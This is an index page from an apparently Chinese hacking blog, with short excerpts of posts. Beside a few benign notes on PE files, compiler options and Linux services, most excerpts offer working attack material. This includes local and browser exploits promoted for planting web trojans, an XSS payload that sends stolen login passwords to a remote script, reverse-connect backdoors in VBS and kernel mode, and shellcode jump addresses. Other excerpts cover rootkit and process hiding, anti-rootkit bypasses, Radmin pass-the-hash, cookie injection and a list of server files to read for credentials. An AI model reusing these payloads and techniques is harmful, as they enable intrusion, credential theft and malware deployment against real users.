興趣，想弄清楚它的實現原理。后來又看到梁肇新的書《編程高手箴言》第278頁提到的調用
門，覺得都應該差不多。
三種不同的解決辦法（原理可能是一樣的，:)）：
1）在導出函數聲明之前加上__declspec(dllexport)。例：
__declspec(dllexport) int Add(int a, int b);
__declspec(dllexport) int Sub(int a, int b);
__declspec(dllexport) int Mul(int a, int b);
__declspec(dllexport) int Div(int a, int b);
..........
閱讀全文
摘要: icesword.exe 在執行的時候會放出一個驅動程序 ispubdrv.sys .
icesword.exe 裝載 這個驅動，這個驅動安裝后就不會卸載。直到系統重新啟動。這可能是因為驅動中調用了
PsSetCreateThreadNotifyRoutine 函數.下面是這個函數在 ddk 中的介紹。
........
閱讀全文
摘要: 一、為什么需要偽造內核：
IceSword（以下簡稱IS）為了防止一些關鍵系統函數（包括所有服務中斷表中的函數以及IS驅動部分要使用到的一些關鍵函數）被 patch，它直接讀取內核文件（以下簡稱“ntoskrnl.exe”），然后自己分析ntoskrnl.exe 的PE結構來獲取關鍵系統函數的原始代碼并且把當前內核中所有的關鍵系統函數還原為windows默認狀態，這樣保證了IS使用到的函數不被patch 過。也許你會想如果我們把還原后的函數再進行patch不還是能躲的過去嗎？筆者也試過
.....................
閱讀全文
摘要: [經典溢出攻擊流程]
———————————
1. 查找Kernel32.dll基地址；
2. 查找GetProcAddress()函數地址；
3. 查找其它API函數地址；
4. CreateProcess()；
5. 遠程連接。
我們都知道WINDOWS的系統功能不像UNIX的系統調用那樣實現，由于WINDOWS版本的不斷更新，使得系統調用對SHELLCODE幾乎起不到作用。
但是WINDOWS是靠DLL動態鏈接庫來實現，這就是說，如果能從KERNEL32.DLL中獲取LoadLibrary()和GetProcAddress()函數的地址，我們就可以調用WINDOWS下的所有函數了。
所以我們需要對KERNEL32.DLL進行地址定位，這也是本文的目的。
................
閱讀全文
摘要:
1.起因
C++程序員對try,catch,throw都應該很熟悉,能知道VC怎么實現它的人就不多了,不過網絡世界使很多人知道了它與SEH (structured exception handling）有密切關系,我也不例外,也是在若干年前從網絡知道了SEH,并且大致也知道SEH的流程.但是和多數人一樣在我的實踐也很少直接使用 SEH,對SEH也就僅限于網絡上一些文章的介紹.曾經在用Windbg對某些軟件作分析,我遇到了斷點失效的情況,查找資料介紹是SEH中的 Handler清除了調試寄存器,在分析.....................
閱讀全文
摘要: 本文描述了一些方法，可以饒過目前主流的現代Anti-rootkit工具，包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等
................
閱讀全文
摘要: '搞一個特殊的站準備用的，沒想到，等寫完了，洞補上了，郁悶
'by 009, baicker@hotmail.com
'date:071221
Dim revdata
set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
set sc=createobject( "WScript.Shell" )
Set fso =CreateObject( "Scripting.FileSystemObject" )
sock.connect "127.0.0.1" , 1234
................
閱讀全文
摘要:
眾所周知，bo2k可以在一個指定的進程空間(比如explorer.exe進程)做為一個線程運行。本文試圖找出一種方法，使得任意exe都可以在其他進程中以線程運行(當然，這里說的"任意"是有條件的，下面會講到)。
為行文簡單起見，我把先加載的exe稱為宿主，后加載的exe稱為客戶。對于上面的例子，explorer.exe為宿主，bo2k.exe為客戶。
基本知識
每一個exe都有一個缺省加載基址，一般都是0x400000。如果實際加載基址和缺省基址相同，程序中的重定位表就不需要修正(fixup),否則，就必須修正重定位表；
閱讀全文
摘要: 之前的反彈sc有問題，請重新下載測試（071218）
閱讀全文
摘要: secdrv local exp
winxp cn sp2, win2k3 cn sp1 測試通過
之前的版本只能xp下用，這個2k3也可以了，其實前段時間朋友給過我一個這個漏洞的1day，但是朋友的東西不能亂發，這個是自己寫的，發出來大家惡心一下。 閱讀全文
摘要: Win2k3_CN SP1 msjet40.dll ver 4.0.9025.0 測試成功
WinXP_CN SP2 msjet40.dll ver 4.0.8618.0 測試成功
mdb_d_exp.exe 為debug版本
mdb_r_exp.exe 為relrease版本
之前的反彈sc有問題，請重新下載測試（071218）
閱讀全文
摘要: 注：Windows2000_CN SP2(我只有這臺SP2的2k測試機)，WindowsXP_CN SP2測試通過
網上流傳的都TMD垃圾不能用，不知道抄來抄去轉來轉去哪些代碼轉錯了
這個是我自己修改過的
閱讀全文
摘要: 小改了一下代碼，這下好用了
WinXP_CN SP2測試通過
Win2k3測試藍屏，注意保存文件哦 閱讀全文
摘要: 注：Windows2003_CN SP1 / WindowsXP_CN SP2 + RealPlay10.0 測試通過
好像10.5以下版本都中，這個似乎只能溢出一次，第一次溢出成功后，第二次開始會有realplay修復數據庫的提示，點修復就中，取消不中
上次測試使用的"Windows 按鈕突破專家" 4.5K 溢出沒問題，但是"iecv.exe"那個87K
溢出的時候老是看不到界面，其實已經執行（進程中可以看到），不知道為什么(不知道是否大小問題)
另：IE5不中，代碼中直接跳過了
閱讀全文
摘要: 迅雷官方最新版本迅雷(Thunder5.7.4.401)依然受此漏洞影響
掛馬相當好用，只是如果用iframe，寬高不能為0
（pplayer.dll 組件版本號：1.2.3.49，CLSID:F3E70CEA-956E-49CC-B444-73AFE593AD7F）
閱讀全文
摘要: 本文一共介紹了七種javascript加密方法：
在做網頁時（其實是網頁木馬呵呵），最讓人煩惱的是自己辛辛苦苦寫出來的客戶端IE運行的javascript代碼常常被別人輕易的拷貝，實在讓自己的心里有點不是滋味，要知道自己寫點東西也挺累的......^*^
但我們也應該清楚地認識到因為javascript代碼是在IE中解釋執行，要想絕對的保密是不可能的，我們要做的就是盡可能的增大拷貝者復制的難度，讓他知難而退（但愿~!~），下面我結合自己這幾年來的實踐，及個人研究的心得，和大家一起來探討一下網頁中javascript代碼的加密解密技術。
以加密下面的javascript代碼為例：
......
閱讀全文
摘要: VC- Project Setting-Debug-Project Option語法解釋
-優化-
/O1 最小化空間 minimize space
/Op[-] 改善浮點數一致性 improve floating-pt consistency
/O2 最大化速度 maximize speed
/Os 優選代碼空間 favor code space
/Oa 假設沒有別名 assume no aliasing
/Ot 優選代碼速度 favor code speed
/Ob 內聯展開（默認 n=0） inline expansion (default n=0)
/Ow 假設交叉函數別名 assume cross-function aliasing
/Od 禁用優化（默認值） disable optimizations (default)
/Ox 最大化選項。(/Ogityb2 /Gs) maximum opts. (/Ogityb1 /Gs)
/Og 啟用全局優化 閱讀全文
摘要: 一、autorun.inf是windows下操縱光盤行為的一個文件，需要放在光盤根目錄下，部分操作對于硬盤也適用。
二、autorun.inf是可以被禁止的。方法如下：
點擊開始->運行，在文本框中輸入regedit或者regedt32。依次展開HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer，其中的NoDriveTypeAutoRun子鍵限制著Autorun的作用范圍，默認為95（16進制）。
................
閱讀全文
摘要: 1.最短的動態插入JS.
代碼:
<x/**/style=xss:expression(document.appendChild(document.createElement('script')).src='xss.js')>
2.獲取表單密碼.
代碼:
window.onload=function(){document.forms['login'].onsubmit=function(){var a=new Image();a.src="http://127.0.0.1/loveshell.php"+this.username.value+"&"+this.password.value;this.submit();}};
.......
閱讀全文
摘要: 使用OD反匯編修改NateOn，雖然很麻煩，最終還是搞定了，后來發現網上有段代碼，直接可以實現程序多開，測試了MSN、NateOn沒問題，代碼如下：
.386
.model flat, stdcall
option casemap :none
include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
............
閱讀全文
摘要: 不說廢話，且看怎么實現，我先拿SOHU BLOG做示范.
1.測試過濾字符,下面都是構造XSS所需要的關鍵字符(未包含全角字符,空格是個TABLE,\/前是真正的空格),在個人檔案處看過濾了哪些.
’’;:!--"<javascript JAvaSCriPT>=&#{()} \/
結果
’’;:!--"=&#{()} // (&后是amp,論壇過濾了)
.........
閱讀全文
摘要: 這是一個在內核模塊中實現的反連后門，大家看看這于應用層上的實現有什么不同吧，呵呵
/*
* Kernel mode connect backdoor,haha~
*
* just a demo module to teach you how to write a backdoor in kernel mode,
* i belive you can add more code to make it strong and powerful,wulala.
*
* by wzt <wzt#xsec.org>
*
*/
閱讀全文
摘要: 寫程序麻煩，還要傳上去，幸好VBS每臺服務器應該都可以運行的吧，很少會又禁止的
使用SendKeys搞定
例如呼出Cain使用果如下腳本：）
Set WshShell= Wscript.CreateObject("Wscript.Shell")
Wscript.Sleep 1500
WshShell.SendKeys "%{PGUP}"
以下位SendKeys的相關使用方法等
............
閱讀全文
摘要:
一些opcodes
by axis
2007-03-28
近日在寫exploit的時候需要用到一些其他語言的call ebx的跳轉地址，但是metasploit的opcode DB沒有包括繁體中文、日文、韓文機器的跳轉地址，所以費了點時間收集了下，在這里要感謝傲少提供的機器給我去找地址。現在貼到這里，方便大家。
簡體中文windows的通用跳轉地址：(2k/XP/2k3)
0x7ffa45f3 jmp ecx \xff\xe1
0x7ffa4967 jmp ebp \xff\xe5
0x7ffa4a1b jmp ebx \xff\xe3
..................
閱讀全文
摘要: 更新：上次比較匆忙，有個函數沒改好，今天才可以上網，現在沒問題了
前段時間出了個radmin的算是技巧吧(http://www.tkk7.com/baicker/archive/2007/09/12/144609.html)，以前也有過這個想法，只是沒有去研究，這次索性修改了下源文件，直接改成利用hash登錄的版本，省得每次帶個od跑，針對屏幕相關的似乎不行，不過已經夠用了呵呵
注：hash用小寫字母（懶得改了）
http://www.tkk7.com/Files/baicker/Radmin_Hash.rar
閱讀全文
摘要: Please note that this code and explanation was only released AFTER MySpace resolved this.
None of this would work on MySpace at the time it was released and it will not work now. Otherwise, there would have been mayhem.
Now, let's talk more about the problems encountered, workarounds, and how it worked in general.
1) Myspace blocks a lot of tags. In fact, they only seem to allow <a>, <img>s, and <div>s...maybe a few others (<embed>'s, I think). They would 閱讀全文
摘要: "←"為ESC代碼 ^YzFE u $
在用EDIT編輯批處理文件時可用下列方法輸入ESC字符.首先同時按下Ctrl和P鍵 \?)@ #Qs
然后再按下作方括號,此時屏幕出現一左箭頭,說明已輸入了ESC字符.之后必須放 Jq) !)={
開Ctrl再次按下方括號鍵開始ANSI命令.
ESC[Ps;...;Psm
設置圖形模式：調用由下列數值指定的圖形函數，在該序列再次出現之前，這些被指定的函數保持激活狀態。圖形模式改變屏幕上顯示的顏色和文本（例如：黑體和下劃線字體）屬性。
文本屬性
值功能
------------------------------------
0 無屬性
1 黑體
4 下劃線字體（僅適用于單色顯示適配器）
5 閃爍字體
..........
閱讀全文
摘要: alsasound Alsa 聲卡驅動程序支持。Alsa聲卡驅動程序本來是為了一種聲卡Gravis UltraSound(GUS)而寫的，它和OSS/Free 及OSS/Linux兼容。
apmd 用來監視系統用電狀態，并將相關信息通過syslogd 寫入日志，也可以用來在電源不足時關機。一般用于筆記本電腦，若是臺式機建議關閉。
atd 用At命令調度的任務，也在系統負荷比較低時運行批處理任務。
autofs 需要時自動轉載文件系統，不需要時自動卸載。
chargen 端口chargen字符產生的縮寫，輸出一個可打印字符的旋轉序列，用于測試字符終端設備。
chargen udp udp格式下端口chargen字符產生的縮寫，輸出一個可打印字符的旋轉序列，用于測試字符終端設備。
crond 根據用戶要求周期地運行調度的任務。它比較安全，配置簡單，類似Windows中的計劃任務。
dhcpd 提供了對動態主機控制協議(Dynamic Host Control Pro 閱讀全文
摘要: cp_syn_retries ：INTEGER
默認值是5
對于一個新建連接，內核要發送多少個 SYN 連接請求才決定放棄。不應該大于255，默認值是5，對應于180秒左右時間。(對于大負載而物理通信良好的網絡而言,這個值偏高,可修改為2.這個值僅僅是針對對外的連接,對進來的連接,是由tcp_retries1 決定的)
tcp_synack_retries ：INTEGER
默認值是5
對于遠端的連接請求SYN，內核會發送SYN ＋ ACK數據報，以確認收到上一個 SYN連接請求包。這是所謂的三次握手( threeway handshake)機制的第二個步驟。這里決定內核在放棄連接之前所送出的 SYN+ACK 數目。不應該大于255，默認值是5，對應于180秒左右時間。(可以根據上面的 tcp_syn_retries 來決定這個值)
tcp_keepalive_time ：INTEGER
默認值是7200(2小時)
當keepalive打開的情況下，TCP發送keepalive消息的頻率。(由于目前網絡 閱讀全文
摘要: Radmin 是一款很不錯的服務器管理
無論是 遠程桌面控制 還是 文件傳輸
速度都很快 很方便
這樣也形成了 很多服務器都裝了 radmin這樣的
現在你說 4899默認端口 沒密碼的 服務器你上哪找?
大家都知道radmin的密碼都是32位md5加密后
存放在注冊表里的
具體的表鍵值為 HKLM\SYSTEM\RAdmin\v2.0\Server\Parameters\
那在攻陷一臺web服務器時 大家 怎么能進一步提權?
如果你說 暴力破解 radmin 密碼 呵呵 那也行
只不過 你要有足夠的時間 跟精力
我想很少人 花上幾星期 幾月 甚至幾年 去破解那個密碼
............
閱讀全文
摘要:
1、接電話時對著話筒說：你好，主人不在家，這里是電話錄音，當你聽到biu~~的一聲時，請留言。biu~~（打入者楞住了）biu~~biu~~（……）biu~~靠！我都biu~~了怎么還不留啊！
2、接電話時說：對不起，您撥打的電話已關機或已離開服務區。
3、索性一接電話就發出嘟嘟嘟的聲音。
4、接電話時對著話筒發出貞子般的呼氣聲。
5、接女生電話時說：王老五！拜托！裝個娘娘腔我就聽不出了嗎？不要再騷擾我了，我正泡妞呢，再打過來小心我報警，告你打色情電話！
.............
閱讀全文
摘要: 很多時候程序的 Debug 版本運行沒有任何問題，但是一旦發布 Release 版本后，運行就出錯，著實讓人郁悶。大家知道，VC++ 中 Release 版本是對無法對源代碼進行調試的。一般的做法是在懷疑有錯誤的代碼前后插入MessageBox 函數，在函數中顯示可能導致錯誤的變量的值。或者插入寫文件的語句，輸出可能導致錯誤的變量的值到一個記錄文件。其實，除了上面講的這個辦法之外，還有其它的途徑來調試 Release 版本的。下面就結合自己的經驗和網上查找的一些資料給出調試 Release 版本的兩個方法：
......
閱讀全文
摘要: 基本概念
鉤子(Hook)，是Windows消息處理機制的一個平臺,應用程序可以在上面設置子程以監視指定窗口的某種消息，而且所監視的窗口可以是其他進程所創建的。當消息到達后，在目標窗口處理函數之前處理它。鉤子機制允許應用程序截獲處理window消息或特定事件。
鉤子實際上是一個處理消息的程序段，通過系統調用，把它掛入系統。每當特定的消息發出，在沒有到達目的窗口前，鉤子程序就先捕獲該消息，亦即鉤子函數先得到控制權。這時鉤子函數即可以加工處理（改變）該消息，也可以不作處理而繼續傳遞該消息，還可以強制結束消息的傳遞。
運行機制
1、鉤子鏈表和鉤子子程：
.......
閱讀全文
摘要: 運行pl程序，提示：Can't locate DBI.pm in @INC，解決方法如下：
Install cygwin with these options:
- gcc (devel)
- make (devel)
- binutils (devel)
- Perl 5.8.6 (interpreters)
- Perl win32 API (libs)
- PostgreSQL (database)
installing DBI-1.48.tar.gz as follows:
- Unpack the kit into /usr/src (c:\cygwin\usr\src)
- Open a cygwin shell and cd to /usr/src/DBI-1.48
- perl Makefile.PL
- make
- make test
- make install
在cygwin的shell下執行相應pl文件，比如./ 閱讀全文
摘要: 系統資源的占用情況
內存 —— 很理想。SQL占用的內存最大也沒有超過65M，一般是在35M左右；asp.net占用的內存最大也沒有超過40M，一般是在25M左右。
CPU：8%左右，由于訪問次數不多，也不夠集中，所以這個數值也說明不了什么。自己連續點了n次下一頁，發現CPU的使用率飄高，達到了50%左右。
但是對于100萬的記錄，AMD XP2000+ 的CPU 幾十毫秒的放映速度，因該是可以接受的，甚至是很理想的吧。
畢竟服務器的CPU要比我的快很多吧，而且記錄也很難達到100萬吧。
結果還是很滿意的，但是美中不足的是，我想看一下海量訪問的情況下的效果，
另外說明一下：前n頁可以在60毫秒內完成，n應該是大于500的，小于多少嘛還沒有測試。后n頁就比較慢了，需要500毫秒左右。
下面討論一下翻頁的技巧吧。
我沒有用游標、臨時表、not in、in 這些方法，并不是說他們的效率不高，而是我還沒有測試過。我只用了 top ，查了兩次表。
大家也可提供一些其他的方法，我來測試一下，看看在100萬條的情況下的效果。
< 閱讀全文
摘要: 概述
在本例中，我們來實際編寫一個可以在使用堆棧保護的系統中執行的shellcode。該shellcode通過利用ntdll.dll的部分指令跳轉到我們的代碼執行。在大多數的dll中都可以實現此方法，而且可以完全饒過堆棧保護機制，因為通過此方法并沒有任何代碼在堆棧非執行區域中執行。
詳述
我們也許都聽說過堆棧保護這么一個詞。很多安全程序提供了對堆棧中的代碼執行的保護功能（譯者注：原文這里用的是“protect”，其實我個人認為用 “disallow”或者“disable”更確切的。因為這類所謂的堆棧保護，其實就是禁止代碼在堆棧中執行。）。一些新的硬件產品也具有禁止代碼在 “非執行”內存區域中執行（比如AMD64）。然而編寫一個饒過此機制的shellcode并不是件難事，下面我給大家簡單的介紹一下。
方法就是使用dll的部分代碼來達到我們的目的。如何做到呢？首先在堆棧發生溢出的時候我們將返回地址設置成ntdll.dll中的某個指令地址，我們要利用的ntdll的部分代碼如下：
.............
閱讀全文
摘要: Editor:admin Time:2005-8-20 23:22 Read:9985 Score:8 Print
Writer:HSLY
Excerpt:80x86匯編小站
Preface：
分享逆向技術心德......
Content：
[標題] 教你如何分析未文檔化的數據結構
[作者] hsly110 或者 豬頭三
[個人網站] http://www.x86asm.com 80x86匯編小站
[Email] pliceman_110@163.com PS:本文如果有錯漏請來信指出
[范圍] 逆向工程
[目的] 分享逆向技術心德
[目標API] 未文檔化的RtlInitializeGenericTable
[參考文獻] Secrets of Reverse Engineering
..........
閱讀全文
摘要: /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/php5/lib/php.ini //PHP相關設置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/etc/my.cnf //mysql的配置文件
/etc/issue //系統版本
/etc/issue.net
/etc/redhat-release
C:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數據庫連接密碼
/etc/sysconfig/iptables //從中得到防火墻規則策略
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Serv-U\Serv 閱讀全文
摘要:
The problem: you use terminal services in administration mode (which allows 2 sessions), now you cannot connect to the server because all sessions are used.
Windows 2000+ (includes Windows XP and 2003) have two command-line tools called qwinsta and rwinsta that can query and reset a remote session.
Query a server:
> qwinsta /server:192.168.12.12
.......
閱讀全文
摘要:
I had to create a .VBS script to create an automated E-Mail message. The hardest part was to set the importance of the mail, I've found the solution here: http://www.lewisroberts.com/?p=64
Here come's the script:
Dim iMsg
Dim iConf
Dim Flds
Dim strHTML
............
閱讀全文
摘要:
Standard user's in big companies usually runs as unprivileged users, thus they cannot execute admin tasks. But sometimes it's necessary to run a task with admin rights (automated software deploy) - runas, in some situations, is a bad idea because it needs a user and a clear text password (and no, the password compiled in an exe file is not very safe!).
......
閱讀全文
摘要: Most new Servers or Workstations aren't equipped with a floppy drive anymore, but from time to time I need to boot from a floppy drive. And I don't want to burn a CD each time I need to boot from a floppy drive.. so the solution is tftpd32 and PXELINUX. With those 2 tools I'm able to boot disk images from the LAN.
You need tftpd32 from Ph. Jounin (http://tftpd32.jounin.net/) and PXELINUX, which is a part of the SYSLINUX package (http://syslinux.zytor.com).
閱讀全文
摘要:
#include <windows.h>
#include <gdiplus.h>
#include <stdio.h>
#pragma comment(lib,"gdiplus.lib")
using namespace Gdiplus;
INT GetEncoderClsid(const WCHAR* format, CLSID* pClsid); // helper function
...........
閱讀全文
摘要: Terminal Service: Connect and/or Shadow to a Console Session...
crosspost from http://blogs.msdn.com/rextang
Seems some of my friends still didn't know how to use Microsoft Terminal Service Client to connect to the console session of a windows pc (server or client OS) so here is a memo for it also during the search I found the other interesting thing that can let Terminal Service to function like a VNC server (2 users share the same session, called "shadow session" here).
..... 閱讀全文
摘要: 堡耳機的方法
一般來說，新買來的好點的耳機都需要堡，堡了以后才能有比較好的音質。
堡耳機的步驟如下：
1.正常聽音量的1/3驅動耳機24小時(100-10kHz)
2.正常聽音量的2/3驅動耳機24小時(50-15kHz)
3.正常聽音量驅動耳機72小時(20-20kHz)
4.正常聽音量的3/4驅動耳機24小時(20-20K)
5.正常聽音量聽歌 閱讀全文
摘要: 進程隱藏的兩種方法
這兩種都是很古老的方法，因為無聊，所以寫了一下。代碼在XP_SP2下調試通過.
(1).從活動進程鏈表（ActiveProcessLinks）中摘除自身,這種方法可以欺騙任務管理器，
下面這個程序做的就是雙向鏈表的刪除節點和插入節點，十分的簡單。
（2）.如果你反匯編taskmgr.exe,可以在發現taskmgr.exe是通過NtQuerySystemInformation枚舉進程的，
因此可以通過掛鉤系統服務NtQuerySystemInformation修改這個函數的行為，從而實現在任務管理器中隱藏進程的目的，下面就是實現代碼。
...........
閱讀全文
摘要: .386
.model flat, stdcall
option casemap:none
;**************************************************************************************************
include f:\masm32\include\w2k\ntstatus.inc
include f:\masm32\include\w2k\ntddk.inc
include f:\masm32\include\w2k\ntoskrnl.inc
includelib f:\masm32\lib\w2k\ntoskrnl.lib
include f:\masm32\Macros\Strings.mac
;**************************************************************************************************
閱讀全文
摘要: Set wmiServices = GetObject("winmgmts:root/default")
Set wmiSink = WScript.CreateObject("WbemScripting.SWbemSink", "SINK_")
wmiServices.ExecNotificationQueryAsync wmiSink, _
"SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND " & _
"KeyPath='SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'"
WScript.Echo "Listening..." & vbCrLf
While(1)
WScript.Sleep 1000
Wend
Sub SINK_OnObjectReady(wmiObject, wmiAsyncContext)
WScript.Echo "R 閱讀全文
摘要: 例:
http://xxxx/view.asp?id=1
先訪問http://xxxx/view.asp?id=1
接著在瀏覽器里輸入：
javascript:alert(document.cookie="id="+escape("1 and 1=1"))
再訪問http://xxxx/view.asp（未出錯）
再輸入：javascript:alert(document.cookie="id="+escape("188 and 1=2"))
再訪問：http://xxxx/view.asp（出錯）
該頁面出錯就表示可以用Cookie注入。
..........
閱讀全文
摘要: #include <stdio.h>
#include <windows.h>
typedef DWORD(__stdcall *CPP) (DWORD param1, PWCHAR param2, DWORD param3);
void Disable_WFP()
{
HINSTANCE hmod=LoadLibrary("sfc_os.dll");
CPP SetSfcFileException;
// the function is stored at the fifth ordinal in sfc_os.dll
SetSfcFileException= (CPP)GetProcAddress(hmod,(LPCSTR)5);
SetSfcFileException(0, L"c:\\windows\\system32\\calc.exe",-1);
//Now we can modify the system file in a complete stealth. 閱讀全文
摘要: 有時候我們希望能夠動態監視系統中任意進程/線程的創建與銷毀。為了達
到此目的我翻閱了 DDK 手冊，發現其提供的 PsSetCreateProcessNotifyRoutine(),
PsSetCreateThreadNotifyRoutine(),等函數可以實現此功能。這兩個函數可以
通過向系統注冊一個 CALLBALCK 函數來監視進程/線程等操作。函數原形如下：
NTSTATUS
PsSetCreateProcessNotifyRoutine(
IN PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
IN BOOLEAN Remove
);
......................
閱讀全文
摘要: 1,SSDT
SSDT即系統服務描述符表，它的結構如下(參考《Undocument Windows 2000 Secretes》第二章):
typedef struct _SYSTEM_SERVICE_TABLE
{
PVOID ServiceTableBase; //這個指向系統服務函數地址表
PULONG ServiceCounterTableBase;
ULONG NumberOfService; //服務函數的個數,NumberOfService*4 就是整個地址表的大小
ULONG ParamTableBase;
}SYSTEM_SERVICE_TABLE,*PSYSTEM_SERVICE_TABLE;
.........
閱讀全文
摘要:
通過對 NtReadVirtualMemory 掛鉤，防止其他進程對保護的模塊進行掃描，
如果發現其他進程讀被保護模塊的內存，則返回0
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
.........
閱讀全文
摘要:
目錄：
反主動防御rootkit的產生背景及其必要性
反網絡訪問主動防御
反API鉤子進程行為主動防御
反系統Notify進程行為主動防御
繞過監控進入ring0安裝驅動
實用級反主動防御rootkit的通用性問題
..............
閱讀全文
摘要:
API HOOK估計沒必要多介紹了,簡單的來講就是通過某種方式來改變API函數的工作流程.一般來講有兩種方法:IAT HOOK和INLINE HOOK.前一種應用較為廣泛,一方面因為簡單,還一方面因為穩定.他的原理就是改寫進程空間中要HOOK的API所在模塊的函數引入表,使之指向替換原 API函數的函數地址(某些木馬就是利用IAT HOOK的方式,掛鉤NtQuerySystemInformation的方式來實現進程隱藏).這里感覺還是有必要再說一點INLINE HOOK,這個復雜點,直接進入被HOOK的API函數內部去修改他,采用指令call或者jmp等,迫使API改變流程,跳到自己的替換函數中.通常都是在函數頭部前10個字節內修改.
...............
閱讀全文
摘要: 1.得到本進程中包含被掛接API的DLL的基地址,該DLL代碼節的虛擬偏移以及該API的入口地址.API入口地址-(代碼節虛擬偏移+DLL基地址)=函數入口相對于代碼節的偏移
2.得到目標進程的PID,以及目標進程包含被掛接API的DLL的基地址(注意一般來說和前面自身進程的值相同)前面得到的函數入口偏移+DLL基地址+代碼節虛擬偏移=目標進程API函數入口地址
3.打開目標進程讀目標進程API函數入口處128字節代碼到自身進程的變量中.然后調用z0mbie寫的LDE32庫取該API函數入口處幾個指令的長度當長度>=5時保存該長度(這樣防止后面取指令沒有對齊)
4.為我們的假函數在目標進程加載的DLL中分配空間(我是把代碼寫在PE頭的后面)這兒要改該內存的屬性為讀寫執行(PAGE_EXECUTE_READWRITE).為了方便編譯我們的假函數是寫在代碼段中的,在運行時要把這些代碼移到數據段,然后把第3步取出的指令放在數據段中相應的偏移處.同時還要在數據段中設置跳回真實函數的JMP指令.
5.把真正的API開頭的指令改為JMP到我們的假函數中.
. 閱讀全文
摘要:
一個操作系統的可執行文件格式在很多方面是這個系統的一面鏡子。雖然學習一個可執行文件格式通常不是一個程序員的首要任務，但是你可以從這其中學到大量的知識。在這篇文章中，我會給出 MicroSoft 的所有基于 win32系統（如winnt,win9x）的可移植可執行（PE）文件格式的詳細介紹。在可預知的未來，包括 Windows2000 , PE 文件格式在 MicroSoft 的操作系統中扮演一個重要的角色。如果你在使用 Win32 或 Winnt ，那么你已經在使用 PE 文件了。甚至你只是在 Windows3.1 下使用 Visual C++ 編程，你使用的仍然是 PE 文件（Visual C++ 的 32 位 MS-DOS 擴展組件用這個格式）。簡而言之，PE 格式已經普遍應用，并且在不短的將來仍是不可避免的。現在是時候找出這種新的可執行文件格式為操作系統帶來的東西了。
我最后不會讓你盯住無窮無盡的十六進制Dump，也不會詳細討論頁面的每一個單獨的位的重要性。代替的，我會向你介紹包含在 PE 文件中的概念，并且將他們和你每天都遇到的東西聯系起來。比如，線程局部變量 閱讀全文
摘要: 許多關于字符串的問題，在文章最后的參考文章中，相信有更加深入和精確的描述。不過關于中文的處理，我想先補充一些自己的看法。
背景：WIN32 console程序，使用printf輸出字符串。相信許多人都有使用過。
平臺：VisualStudio.NET 2003（MFC 7.1）。
MBCS UNICODE
蔡 b2 cc 21 85
A 41 00 41 00
程序段1：使用std::string
#include
.........
閱讀全文
摘要: 1、PE文件框架構成
DOS MZ header
DOS stub
PE header
Section table
Section 1
Section 2
Section ...
Section n
上表是PE文件結構的總體層次分布。所有 PE文件(甚至32位的 DLLs) 必須以一個簡單的 DOS MZ header 開始，在偏移0處有DOS下可執行文件的“MZ標志”，有了它，一旦程序在DOS下執行，DOS就能識別出這是有效的執行體，然后運行緊隨 MZ header 之后的 DOS stub。DOS stub實際上是個有效的EXE，在不支持 PE文件格式的操作系統中，它將簡單顯示一個錯誤提示，類似于字符串 " This program cannot run in DOS mode " 或者程序員可根據自己的意圖實現完整的 DOS代碼。通常DOS stub由匯編器/編譯器自動生成，對我們的用處不是很大，它簡單調用中斷21h服務9來顯示字符串"This program cannot run in DOS mode"。 閱讀全文
摘要:
1.1 引言 1.2 內存管理概述 1.3 虛擬內存訪問
1.4 文件的內存映射 1.4 文件的內存映射(2) 1.5 深入認識指針的真正含義
1.6 本章小結 參考文獻
第2章 再談PE文件結構
2.1 引言 2.2 PE文件格式概述 2.3 PE文件結構
2.3 PE文件結構 2.4 如何獲取PE文件中的OEP 2.5 PE文件中的資源
2.6 一個修改PE可執行文件的完整實例(1) 2.6 一個修改PE可執行文件的完整實例(2) 2.7 本章小結
參考文獻
第3章 進程之間通信概述及初級技術
3.1 引言 3.2 進程通信概述 3.3 使用自定義消息通信
3.4 使用WM_COPYDATA消息通信 3.4 使用WM_COPYDATA消息通信 3.5 使用內存讀寫函數和內存映射文件通信
3.6 使用動態鏈接庫通信 3.7 使用Windows剪貼板通信 3. 閱讀全文
|
|
公告
常用鏈接
留言簿(113)
隨筆分類
隨筆檔案
文章分類
相冊
Link
搜索
最新評論
閱讀排行榜
評論排行榜
|
|